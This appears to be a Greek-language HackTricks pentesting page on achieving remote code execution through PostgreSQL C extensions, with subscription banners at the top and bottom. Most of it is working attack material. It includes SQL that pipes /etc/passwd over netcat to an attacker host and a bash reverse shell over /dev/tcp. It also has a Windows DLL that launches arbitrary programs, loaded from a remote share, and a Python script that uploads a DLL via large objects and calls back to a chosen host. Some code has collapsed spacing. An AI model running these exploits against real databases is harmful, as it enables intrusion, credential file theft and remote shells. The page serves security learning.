Εργάζεστε σε μια εταιρεία κυβερνοασφάλειας; Θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks; Ή θέλετε να έχετε πρόσβαση στην τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF; Ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
Το PostgreSQL έχει αναπτυχθεί με την επεκτασιμότητα ως βασικό χαρακτηριστικό, επιτρέποντάς του να ενσωματώνει ομαλά επεκτάσεις ως αν είχαν ενσωματωμένες λειτουργίες. Αυτές οι επεκτάσεις, ουσιαστικά βιβλιοθήκες που έχουν γραφτεί σε C, εμπλουτίζουν τη βάση δεδομένων με επιπλέον λειτουργίες, τελεστές ή τύπους.
Από την έκδοση 8.1 και μετά, υπάρχει μια συγκεκριμένη απαίτηση για τις βιβλιοθήκες επέκτασης: πρέπει να μεταγλωττίζονται με ένα ειδικό κεφαλίδα. Χωρίς αυτό, το PostgreSQL δεν θα τις εκτελέσει, εξασφαλίζοντας ότι χρησιμοποιούνται μόνο συμβατές και πιθανώς ασφαλείς επεκτάσεις.
Η εκτέλεση εντολών συστήματος από το PostgreSQL 8.1 και προηγούμενες εκδόσεις είναι ένα διαδικασία που έχει τεκμηριωθεί σαφώς και είναι απλή. Είναι δυνατόν να χρησιμοποιηθεί αυτό: Metasploit module.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECTsystem('cat /etc/passwd | nc <attacker IP> <attacker port>');# You can also create functions toopenand write filesCREATE OR REPLACEFUNCTIONopen(cstring, int, int) RETURNSintAS'/lib/libc.so.6', 'open'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONwrite(int, cstring, int) RETURNSintAS'/lib/libc.so.6', 'write'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONclose(int) RETURNSintAS'/lib/libc.so.6', 'close'LANGUAGE'C' STRICT;
Εγγραφή δυαδικού αρχείου από base64
Για να εγγράψετε ένα δυαδικό αρχείο σε ένα αρχείο στο postgres, μπορεί να χρειαστεί να χρησιμοποιήσετε το base64, αυτό θα σας φανεί χρήσιμο για αυτό το σκοπό:
CREATE OR REPLACEFUNCTIONwrite_to_file(fileTEXT, s TEXT) RETURNSintAS$$DECLAREfh int;s int;w bytea;i int;BEGINSELECTopen(textout(file)::cstring, 522, 448) INTO fh;IF fh <=2THENRETURN1;ENDIF;SELECT decode(s, 'base64') INTO w;i :=0;LOOPEXIT WHEN i >= octet_length(w);SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;IF rs <0THENRETURN2;ENDIF;i := i +1;ENDLOOP;SELECTclose(fh) INTO rs;RETURN0;END;$$ LANGUAGE'plpgsql';
Ωστόσο, όταν προσπαθήσαμε σε μεγαλύτερες εκδόσεις, εμφανίστηκε το ακόλουθο σφάλμα:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic blockHINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
Για να εξασφαλίσει ότι ένα αρχείο αντικειμένου που φορτώνεται δυναμικά δεν φορτώνεται σε έναν ασύμβατο διακομιστή, το PostgreSQL ελέγχει αν το αρχείο περιέχει ένα "μαγικό μπλοκ" με τα κατάλληλα περιεχόμενα. Αυτό επιτρέπει στον διακομιστή να ανιχνεύει προφανείς ασυμβατότητες, όπως κώδικα που έχει μεταγλωττιστεί για μια διαφορετική κύρια έκδοση του PostgreSQL. Ένα μαγικό μπλοκ απαιτείται από το PostgreSQL από την έκδοση 8.2 και μετά. Για να περιλάβετε ένα μαγικό μπλοκ, γράψτε αυτό σε ένα (και μόνο ένα) από τα αρχεία πηγαίου κώδικα του μοντέλου, μετά την περιληπτική εντολή fmgr.h:
#ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;#endif
Από την έκδοση 8.2 του PostgreSQL, η διαδικασία για έναν επιτιθέμενο να εκμεταλλευτεί το σύστημα έχει γίνει πιο προκλητική. Ο επιτιθέμενος πρέπει είτε να χρησιμοποιήσει μια βιβλιοθήκη που ήδη υπάρχει στο σύστημα είτε να μεταφορτώσει μια προσαρμοσμένη βιβλιοθήκη. Αυτή η προσαρμοσμένη βιβλιοθήκη πρέπει να έχει μεταγλωττιστεί έναντι της συμβατής κύριας έκδοσης του PostgreSQL και πρέπει να περιλαμβάνει ένα συγκεκριμένο "μαγικό μπλοκ". Αυτό το μέτρο αυξάνει σημαντικά τη δυσκολία εκμετάλλευσης των συστημάτων PostgreSQL, καθώς απαιτεί μια βαθύτερη κατανόηση της αρχιτεκτονικής του συστήματος και της συμβατότητας των εκδόσεών του.
Μεταγλώττιση της βιβλιοθήκης
Αποκτήστε την έκδοση του PsotgreSQL με:
SELECTversion();PostgreSQL 9.6.3on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.020170516, 64-bit
Για συμβατότητα, είναι απαραίτητο να ευθυγραμμίζονται οι κύριες εκδόσεις. Επομένως, η συγγραφή μιας βιβλιοθήκης με οποιαδήποτε έκδοση εντός της σειράς 9.6.x θα εξασφαλίσει επιτυχή ενσωμάτωση.
Για να εγκαταστήσετε αυτήν την έκδοση στο σύστημά σας:
Στη συνέχεια, ανεβάστε τη μεταγλωττισμένη βιβλιοθήκη και εκτελέστε εντολές με:
CREATEFUNCTIONsys(cstring) RETURNSintAS'/tmp/pg_exec.so','pg_exec'LANGUAGECSTRICT;SELECTsys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');#Notice the double single quotes are needed to scape the qoutes
Μπορείτε να βρείτε αυτήν τη βιβλιοθήκη προεπιλεγμένη σε διάφορες εκδόσεις του PostgreSQL και μπορείτε ακόμα να αυτοματοποιήσετε αυτήν τη διαδικασία (αν έχετε πρόσβαση στο PostgreSQL) με:
RCE σε Windows
Το παρακάτω DLL παίρνει ως είσοδο το όνομα του δυαδικού αρχείου και τον αριθμό των εκτελέσεων που θέλετε να γίνουν και το εκτελεί:
#include"postgres.h"#include<string.h>#include"fmgr.h"#include"utils/geo_decls.h"#include<stdio.h>#include"utils/builtins.h"#ifdefPG_MODULE_MAGICPG_MODULE_MAGIC;#endif/* Add a prototype marked PGDLLEXPORT */PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);PG_FUNCTION_INFO_V1(pgsql_exec);/* this function launches the executable passed in as the first parameterin a FOR loop bound by the second parameter that is also passed*/Datumpgsql_exec(PG_FUNCTION_ARGS){/* convert text pointer to C string */#defineGET_STR(textp) DatumGetCString(DirectFunctionCall1(textout,PointerGetDatum(textp)))/* retrieve the second argument that is passed to the function (an integer)that will serve as our counter limit*/int instances =PG_GETARG_INT32(1);for (int c =0; c < instances; c++) {/*launch the process passed in the first parameter*/ShellExecute(NULL,"open", GET_STR(PG_GETARG_TEXT_P(0)),NULL,NULL,1);}PG_RETURN_VOID();}
Μπορείτε να βρείτε το DLL που έχει μεταγλωττιστεί σε αυτό το αρχείο zip:
Μπορείτε να υποδείξετε σε αυτό το DLL ποιο εκτελέσιμο να εκτελεστεί και πόσες φορές να εκτελεστεί, σε αυτό το παράδειγμα θα εκτελεστεί το calc.exe 2 φορές:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECTremote_exec('calc.exe',2);DROPFUNCTIONremote_exec(text,integer);
Σημειώστε ότι σε αυτήν την περίπτωση ο κακόβουλος κώδικας βρίσκεται μέσα στη συνάρτηση DllMain. Αυτό σημαίνει ότι σε αυτήν την περίπτωση δεν είναι απαραίτητο να εκτελεστεί η φορτωμένη συνάρτηση στο postgresql, απλά φορτώνοντας το DLL θα εκτελεστεί η αντίστροφη κέλυφος:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
RCE στις πιο πρόσφατες εκδόσεις του Prostgres
Στις πιο πρόσφατες εκδόσεις του PostgreSQL, έχουν επιβληθεί περιορισμοί όπου ο superuserαπαγορεύεται να φορτώνει αρχεία κοινόχρηστων βιβλιοθηκών εκτός από συγκεκριμένους καταλόγους, όπως το C:\Program Files\PostgreSQL\11\lib στα Windows ή το /var/lib/postgresql/11/lib στα *nix συστήματα. Αυτοί οι κατάλογοι είναι ασφαλισμένοι από εγγραφές με τη χρήση των λογαριασμών NETWORK_SERVICE ή postgres.
Παρά τους περιορισμούς αυτούς, είναι δυνατό για έναν εξουσιοδοτημένο superuser της βάσης δεδομένων να γράψει δυαδικά αρχεία στο σύστημα αρχείων χρησιμοποιώντας "μεγάλα αντικείμενα". Αυτή η δυνατότητα επεκτείνεται στην εγγραφή εντός του καταλόγου C:\Program Files\PostgreSQL\11\data, ο οποίος είναι απαραίτητος για λειτουργίες της βάσης δεδομένων όπως η ενημέρωση ή η δημιουργία πινάκων.
Μια σημαντική ευπάθεια προκύπτει από την εντολή CREATE FUNCTION, η οποία επιτρέπει τη διάβαση καταλόγων στον κατάλογο δεδομένων. Ως εκ τούτου, ένας εξουσιοδοτημένος επιτιθέμενος μπορεί να εκμεταλλευτεί αυτήν τη διάβαση για να γράψει ένα αρχείο κοινόχρηστης βιβλιοθήκης στον κατάλογο δεδομένων και στη συνέχεια να το φορτώσει. Αυτή η εκμετάλλευση επιτρέπει στον επιτιθέμενο να εκτελέσει αυθαίρετο κώδικα, επιτυγχάνοντας εκτέλεση κώδικα στο σύστημα.
Ροή επίθεσης
Καταρχάς, πρέπει να χρησιμοποιήσετε μεγάλα αντικείμενα για να ανεβάσετε το dll. Μπορείτε να δείτε πώς να το κάνετε αυτό εδώ:
Αφού ανεβάσετε την επέκταση (με το όνομα poc.dll για αυτό το παράδειγμα) στον κατάλογο δεδομένων, μπορείτε να τη φορτώσετε με:
create function connect_back(text, integer) returns void as '../data/poc','connect_back' language C strict;select connect_back('192.168.100.54',1234);
Σημείωση ότι δεν χρειάζεται να προσθέσετε την επέκταση .dll καθώς η συνάρτηση δημιουργίας θα την προσθέσει αυτόματα.
Για περισσότερες πληροφορίες διαβάστε τηναρχική δημοσίευση εδώ.
Σε αυτήν τη δημοσίευση, αυτός ήταν οκώδικας που χρησιμοποιήθηκε για τη δημιουργία της επέκτασης postgres (για να μάθετε πώς να μεταγλωττίσετε μια επέκταση postgres διαβάστε οποιαδήποτε από τις προηγούμενες εκδόσεις).
Στην ίδια σελίδα δόθηκε αυτό το εκμεταλλευτήριο για να αυτοματοποιήσετε αυτήν την τεχνική:
#!/usr/bin/env python3import sysiflen(sys.argv)!=4:print("(+) usage %s <connectback> <port> <dll/so>"% sys.argv[0])print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll"% sys.argv[0])sys.exit(1)host = sys.argv[1]port =int(sys.argv[2])lib = sys.argv[3]withopen(lib, "rb")as dll:d = dll.read()sql ="select lo_import('C:/Windows/win.ini', 1337);"for i inrange(0, len(d)//2048):start = i *2048end = (i+1) *2048if i ==0:sql +="update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;"% (i, d[start:end].hex())else:sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d)%2048) !=0:end = (i+1) *2048sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql +="select lo_export(1337, 'poc.dll');"sql +="create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"sql +="select connect_back('%s', %d);"% (host, port)print("(+) building poc.sql file")withopen("poc.sql", "w")as sqlfile:sqlfile.write(sql)print("(+) run poc.sql in PostgreSQL using the superuser")print("(+) for a db cleanup only, run the following sql:")print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")print(" drop function connect_back(text, integer);")
Εργάζεστε σε μια εταιρεία κυβερνοασφάλειας; Θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks; Ή θέλετε να έχετε πρόσβαση στην τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF; Ελέγξτε τα ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ!